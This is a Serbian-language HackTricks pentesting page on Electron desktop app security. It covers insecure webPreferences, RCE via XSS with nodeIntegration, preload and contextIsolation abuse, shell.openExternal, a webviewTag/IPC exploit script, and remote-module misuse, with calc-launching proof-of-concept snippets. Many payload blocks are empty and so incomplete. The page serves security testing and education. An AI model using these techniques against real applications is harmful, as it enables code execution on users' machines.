# Electron Desktop Apps {{#include ../../../banners/hacktricks-training.md}} ## Uvod Electron kombinuje lokalni backend (sa **NodeJS**) i frontend (**Chromium**), iako mu nedostaju neki od bezbednosnih mehanizama modernih pregledača. Obično možete pronaći kod electron aplikacije unutar `.asar` aplikacije, kako biste dobili kod, potrebno je da ga ekstrahujete: ```bash npx asar extract app.asar destfolder #Extract everything npx asar extract-file app.asar main.js #Extract just a file ``` U izvornoj kodu Electron aplikacije, unutar `packet.json`, možete pronaći navedenu `main.js` datoteku gde su postavljene bezbednosne konfiguracije. ```json { "name": "standard-notes", "main": "./app/index.js", ``` Electron ima 2 tipa procesa: - Glavni proces (ima potpun pristup NodeJS-u) - Proces renderera (treba da ima ograničen pristup NodeJS-u iz bezbednosnih razloga) ![](<../../../images/image (182).png>) **Proces renderera** će biti prozor pregledača koji učitava datoteku: ```javascript const { BrowserWindow } = require("electron") let win = new BrowserWindow() //Open Renderer Process win.loadURL(`file://path/to/index.html`) ``` Podešavanja **renderer process** mogu se **konfigurisati** u **main process** unutar main.js datoteke. Neka od podešavanja će **sprečiti Electron aplikaciju da dobije RCE** ili druge ranjivosti ako su **podešavanja ispravno konfigurisana**. Electron aplikacija **može pristupiti uređaju** putem Node apija, iako se može konfigurisati da to spreči: - **`nodeIntegration`** - je `isključen` po defaultu. Ako je uključen, omogućava pristup node funkcijama iz renderer process. - **`contextIsolation`** - je `uključen` po defaultu. Ako je isključen, main i renderer procesi nisu izolovani. - **`preload`** - prazan po defaultu. - [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - je isključen po defaultu. Ograničiće akcije koje NodeJS može izvesti. - Node Integration u Workers - **`nodeIntegrationInSubframes`** - je `isključen` po defaultu. - Ako je **`nodeIntegration`** **omogućen**, to bi omogućilo korišćenje **Node.js API-a** na web stranicama koje su **učitane u iframes** unutar Electron aplikacije. - Ako je **`nodeIntegration`** **onemogućen**, tada će preloads biti učitani u iframe. Primer konfiguracije: ```javascript const mainWindowOptions = { title: "Discord", backgroundColor: getBackgroundColor(), width: DEFAULT_WIDTH, height: DEFAULT_HEIGHT, minWidth: MIN_WIDTH, minHeight: MIN_HEIGHT, transparent: false, frame: false, resizable: true, show: isVisible, webPreferences: { blinkFeatures: "EnumerateDevices,AudioOutputDevices", nodeIntegration: false, contextIsolation: false, sandbox: false, nodeIntegrationInSubFrames: false, preload: _path2.default.join(__dirname, "mainScreenPreload.js"), nativeWindowOpen: true, enableRemoteModule: false, spellcheck: true, }, } ``` Neki **RCE payloads** sa [ovde](https://7as.es/electron/nodeIntegration_rce.txt): ```html Example Payloads (Windows): Example Payloads (Linux & MacOS): ``` ### Capture traffic Izmenite start-main konfiguraciju i dodajte korišćenje proksija kao što su: ```javascript "start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors", ``` ## Electron Local Code Injection Ako možete lokalno izvršiti Electron aplikaciju, moguće je da možete izvršiti proizvoljni JavaScript kod. Proverite kako u: {{#ref}} ../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md {{#endref}} ## RCE: XSS + nodeIntegration Ako je **nodeIntegration** postavljen na **on**, JavaScript web stranice može lako koristiti Node.js funkcije jednostavno pozivajući `require()`. Na primer, način za izvršavanje kalkulator aplikacije na Windows-u je: ```html ```
## RCE: preload Skripta navedena u ovoj postavci je l**oaded pre drugih skripti u rendereru**, tako da ima **neograničen pristup Node API-ima**: ```javascript new BrowserWindow{ webPreferences: { nodeIntegration: false, preload: _path2.default.join(__dirname, 'perload.js'), } }); ``` Stoga, skript može da eksportuje node-features na stranice: ```javascript:preload.js typeof require === "function" window.runCalc = function () { require("child_process").exec("calc") } ``` ```html:index.html ``` > [!NOTE] > **Ako je `contextIsolation` uključen, ovo neće raditi** ## RCE: XSS + contextIsolation _**contextIsolation**_ uvodi **odvojene kontekste između skripti web stranice i unutrašnjeg JavaScript koda Electron-a** tako da izvršavanje JavaScript-a svakog koda ne utiče na druge. Ovo je neophodna funkcija za eliminaciju mogućnosti RCE. Ako konteksti nisu izolovani, napadač može: 1. Izvršiti **arbitrarni JavaScript u renderer-u** (XSS ili navigacija na spoljne sajtove) 2. **Prepisati ugrađenu metodu** koja se koristi u preload-u ili unutrašnjem kodu Electron-a na svoju funkciju 3. **Pokrenuti** korišćenje **prepisane funkcije** 4. RCE? Postoje 2 mesta gde se ugrađene metode mogu prepisati: U preload kodu ili u unutrašnjem kodu Electron-a: {{#ref}} electron-contextisolation-rce-via-preload-code.md {{#endref}} {{#ref}} electron-contextisolation-rce-via-electron-internal-code.md {{#endref}} {{#ref}} electron-contextisolation-rce-via-ipc.md {{#endref}} ### Bypass click event Ako postoje ograničenja kada kliknete na link, možda ćete moći da ih zaobiđete **srednjim klikom** umesto običnim levim klikom. ```javascript window.addEventListener('click', (e) => { ``` ## RCE putem shell.openExternal Za više informacija o ovim primerima pogledajte [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) i [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/) Kada se implementira Electron desktop aplikacija, osiguranje ispravnih podešavanja za `nodeIntegration` i `contextIsolation` je ključno. Utvrđeno je da **izvršavanje daljinskog koda na klijentskoj strani (RCE)** koje cilja preload skripte ili Electron-ov nativni kod iz glavnog procesa efikasno sprečava sa ovim podešavanjima. Kada korisnik interaguje sa linkovima ili otvara nove prozore, aktiviraju se specifični slušači događaja, koji su ključni za bezbednost i funkcionalnost aplikacije: ```javascript webContents.on("new-window", function (event, url, disposition, options) {} webContents.on("will-navigate", function (event, url) {} ``` Ovi slušatelji su **prepisani od strane desktop aplikacije** da implementiraju svoju vlastitu **poslovnu logiku**. Aplikacija procenjuje da li bi navigirani link trebao biti otvoren interno ili u spoljašnjem web pretraživaču. Ova odluka se obično donosi putem funkcije, `openInternally`. Ako ova funkcija vrati `false`, to ukazuje da link treba biti otvoren spolja, koristeći funkciju `shell.openExternal`. **Evo pojednostavljenog pseudokoda:** ![https://miro.medium.com/max/1400/1*iqX26DMEr9RF7nMC1ANMAA.png](<../../../images/image (261).png>) ![https://miro.medium.com/max/1400/1*ZfgVwT3X1V_UfjcKaAccag.png](<../../../images/image (963).png>) Electron JS sigurnosne najbolje prakse savetuju protiv prihvatanja nepouzdanog sadržaja sa funkcijom `openExternal`, jer to može dovesti do RCE kroz različite protokole. Operativni sistemi podržavaju različite protokole koji mogu pokrenuti RCE. Za detaljne primere i dalju objašnjenje o ovoj temi, može se konsultovati [ovaj resurs](https://positive.security/blog/url-open-rce#windows-10-19042), koji uključuje primere Windows protokola sposobnih za iskorišćavanje ove ranjivosti. U macOS-u, funkcija `openExternal` može biti iskorišćena za izvršavanje proizvoljnih komandi kao u `shell.openExternal('file:///System/Applications/Calculator.app')`. **Primeri Windows protokolskih eksploatacija uključuju:** ```html ``` ## RCE: webviewTag + vulnerable preload IPC + shell.openExternal Ova ranjivost se može naći u **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**. **webviewTag** je **deprecated feature** koja omogućava korišćenje **NodeJS** u **renderer process**, što bi trebalo biti onemogućeno jer omogućava učitavanje skripte unutar preload konteksta kao: ```xml ``` Stoga, napadač koji uspe da učita proizvoljnu stranicu mogao bi da iskoristi tu oznaku da **učita proizvoljan preload skript**. Ovaj preload skript je zatim zloupotrebljen da pozove **ranjivu IPC uslugu (`skype-new-window`)** koja je pozivala **`shell.openExternal`** da bi dobila RCE: ```javascript (async() => { const { ipcRenderer } = require("electron"); await ipcRenderer.invoke("skype-new-window", "https://example.com/EXECUTABLE_PATH"); setTimeout(async () => { const username = process.execPath.match(/C:\\Users\\([^\\]+)/); await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Downloads/EXECUTABLE_NAME`); }, 5000); })(); ``` ## Čitanje internih fajlova: XSS + contextIsolation **Onemogućavanje `contextIsolation` omogućava korišćenje `` tagova**, sličnih ` ``` ## **RCE: XSS + Old Chromium** Ako je **chromium** koji koristi aplikacija **star** i postoje **poznate** **ranjivosti** u njemu, može biti moguće **iskoristiti ga i dobiti RCE putem XSS**.\ Možete videti primer u ovom **writeup**: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/) ## **XSS Phishing putem zaobilaženja interne URL regex** Pretpostavljajući da ste pronašli XSS, ali **ne možete pokrenuti RCE ili ukrasti interne fajlove**, mogli biste pokušati da ga iskoristite za **krađu kredencijala putem phishinga**. Prvo što treba da znate je šta se dešava kada pokušate da otvorite novu URL adresu, proveravajući JS kod u front-endu: ```javascript webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below) webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below) ``` Poziv na **`openInternally`** će odlučiti da li će **link** biti **otvoren** u **desktop prozoru** kao link koji pripada platformi, **ili** će biti otvoren u **pregledaču kao resurs treće strane**. U slučaju da je **regex** koji koristi funkcija **ranjiv na zaobilaženje** (na primer, ako **ne escape-uje tačke poddomena**), napadač bi mogao da iskoristi XSS da **otvori novi prozor koji** će biti smešten u infrastrukturi napadača **tražeći kredencijale** od korisnika: ```html ``` ## `file://` Protokol Kao što je pomenuto u [dokumentaciji](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols), stranice koje se pokreću na **`file://`** imaju jednostrani pristup svakom fajlu na vašem računaru, što znači da se **XSS problemi mogu iskoristiti za učitavanje proizvoljnih fajlova** sa korisnikovog računara. Korišćenje **prilagođenog protokola** sprečava ovakve probleme jer možete ograničiti protokol na pružanje samo specifičnog skupa fajlova. ## Remote modul Electron Remote modul omogućava **renderer procesima pristup API-ima glavnog procesa**, olakšavajući komunikaciju unutar Electron aplikacije. Međutim, omogućavanje ovog modula uvodi značajne bezbednosne rizike. Proširuje napadnu površinu aplikacije, čineći je podložnijom ranjivostima kao što su napadi skriptovanja između sajtova (XSS). > [!TIP] > Iako **remote** modul izlaže neke API-je od glavnog do renderer procesa, nije jednostavno dobiti RCE samo zloupotrebom komponenti. Međutim, komponente mogu izložiti osetljive informacije. > [!WARNING] > Mnoge aplikacije koje još uvek koriste remote modul to rade na način koji **zahteva da NodeIntegration bude omogućen** u renderer procesu, što je **ogroman bezbednosni rizik**. Od Electron 14, `remote` modul Electron-a može biti omogućen u nekoliko koraka, ali zbog bezbednosnih i performansnih razloga je **preporučeno da se ne koristi**. Da bi se omogućio, prvo je potrebno **omogućiti ga u glavnom procesu**: ```javascript const remoteMain = require('@electron/remote/main') remoteMain.initialize() [...] function createMainWindow() { mainWindow = new BrowserWindow({ [...] }) remoteMain.enable(mainWindow.webContents) ``` Zatim, proces renderovanja može uvesti objekte iz modula kao što su: ```javascript import { dialog, getCurrentWindow } from '@electron/remote' ``` **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** ukazuje na neke zanimljive **funkcije** koje izlaže objekat **`app`** iz remote modula: - **`app.relaunch([options])`** - **Ponovo pokreće** aplikaciju tako što **izlazi** iz trenutne instance i **pokreće** novu. Korisno za **ažuriranja aplikacija** ili značajne **promene stanja**. - **`app.setAppLogsPath([path])`** - **Definiše** ili **stvara** direktorijum za čuvanje **logova aplikacije**. Logovi se mogu **pribaviti** ili **modifikovati** koristeći **`app.getPath()`** ili **`app.setPath(pathName, newPath)`**. - **`app.setAsDefaultProtocolClient(protocol[, path, args])`** - **Registruje** trenutni izvršni fajl kao **podrazumevani handler** za određeni **protokol**. Možete navesti **prilagođeni put** i **argumente** ako je potrebno. - **`app.setUserTasks(tasks)`** - **Dodaje** zadatke u **kategoriju zadataka** u **Jump List** (na Windows-u). Svaki zadatak može kontrolisati kako se aplikacija **pokreće** ili koje **argumente** se prosleđuju. - **`app.importCertificate(options, callback)`** - **Uvozi** **PKCS#12 sertifikat** u sistemski **sertifikat store** (samo Linux). **Callback** se može koristiti za obradu rezultata. - **`app.moveToApplicationsFolder([options])`** - **Premesta** aplikaciju u **Applications folder** (na macOS). Pomaže da se osigura **standardna instalacija** za Mac korisnike. - **`app.setJumpList(categories)`** - **Postavlja** ili **uklanja** **prilagođeni Jump List** na **Windows-u**. Možete specificirati **kategorije** da organizujete kako se zadaci prikazuju korisniku. - **`app.setLoginItemSettings(settings)`** - **Konfiguriše** koje **izvršne fajlove** se pokreću pri **prijavljivanju** zajedno sa njihovim **opcijama** (samo macOS i Windows). ```javascript Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"}); Native.app.exit() ``` ## systemPreferences модул **Примарни API** за приступ системским подешавањима и **емитовање системских догађаја** у Electron-у. Методи као што су **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault** и **setUserDefault** су сви **део** овог модула. **Пример коришћења:** ```javascript const { systemPreferences } = require('electron'); // Subscribe to a specific notification systemPreferences.subscribeNotification('MyCustomNotification', (event, userInfo) => { console.log('Received custom notification:', userInfo); }); // Get a user default key from macOS const recentPlaces = systemPreferences.getUserDefault('NSNavRecentPlaces', 'array'); console.log('Recent Places:', recentPlaces); ``` ### **subscribeNotification / subscribeWorkspaceNotification** * **Sluša** **nativne macOS obaveštenja** koristeći NSDistributedNotificationCenter. * Pre **macOS Catalina**, mogli ste da presretnete **sva** distribuirana obaveštenja tako što ste prosledili **nil** CFNotificationCenterAddObserver. * Nakon **Catalina / Big Sur**, aplikacije u sandbox-u mogu i dalje da se **pretplate** na **mnoge događaje** (na primer, **zaključavanje/otključavanje ekrana**, **montiranje volumena**, **mrežna aktivnost**, itd.) registrujući obaveštenja **po imenu**. ### **getUserDefault / setUserDefault** * **Interfejs** sa **NSUserDefaults**, koji čuva **aplikacione** ili **globalne** postavke na macOS-u. * **getUserDefault** može da **pribavi** osetljive informacije, kao što su **lokacije nedavnih datoteka** ili **geografska lokacija korisnika**. * **setUserDefault** može da **modifikuje** ove postavke, potencijalno utičući na **konfiguraciju** aplikacije. * U **starijim verzijama Electron-a** (pre v8.3.0), samo je **standardni paket** NSUserDefaults bio **dostupan**. ## Shell.showItemInFolder Ova funkcija prikazuje datoteku u upravitelju datoteka, što **može automatski izvršiti datoteku**. Za više informacija pogledajte [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html) ## Content Security Policy Electron aplikacije treba da imaju **Content Security Policy (CSP)** kako bi **sprečile XSS napade**. **CSP** je **bezbednosni standard** koji pomaže da se **spreči** **izvršavanje** **nepouzdanog koda** u pretraživaču. Obično je **konfigurisano** u **`main.js`** datoteci ili u **`index.html`** šablonu sa CSP unutar **meta taga**. Za više informacija pogledajte: {{#ref}} pentesting-web/content-security-policy-csp-bypass/ {{#endref}} ## **Tools** - [**Electronegativity**](https://github.com/doyensec/electronegativity) je alat za identifikaciju pogrešnih konfiguracija i bezbednosnih anti-šablona u aplikacijama zasnovanim na Electron-u. - [**Electrolint**](https://github.com/ksdmitrieva/electrolint) je open source VS Code dodatak za Electron aplikacije koji koristi Electronegativity. - [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) za proveru ranjivih biblioteka trećih strana - [**Electro.ng**](https://electro.ng/): Morate ga kupiti ## Labs U [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) možete pronaći laboratoriju za eksploataciju ranjivih Electron aplikacija. Neke komande koje će vam pomoći u laboratoriji: ```bash # Download apps from these URls # Vuln to nodeIntegration https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable1.zip # Vuln to contextIsolation via preload script https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable2.zip # Vuln to IPC Rce https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable3.zip # Get inside the electron app and check for vulnerabilities npm audit # How to use electronegativity npm install @doyensec/electronegativity -g electronegativity -i vulnerable1 # Run an application from source code npm install -g electron cd vulnerable1 npm install npm start ``` ## **Reference** - [https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028](https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028) - [https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d](https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d) - [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8) - [https://www.youtube.com/watch?v=a-YnG3Mx-Tg](https://www.youtube.com/watch?v=a-YnG3Mx-Tg) - [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) - Više istraživanja i članaka o Electron bezbednosti u [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking) - [https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81) - [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html) {{#include ../../../banners/hacktricks-training.md}}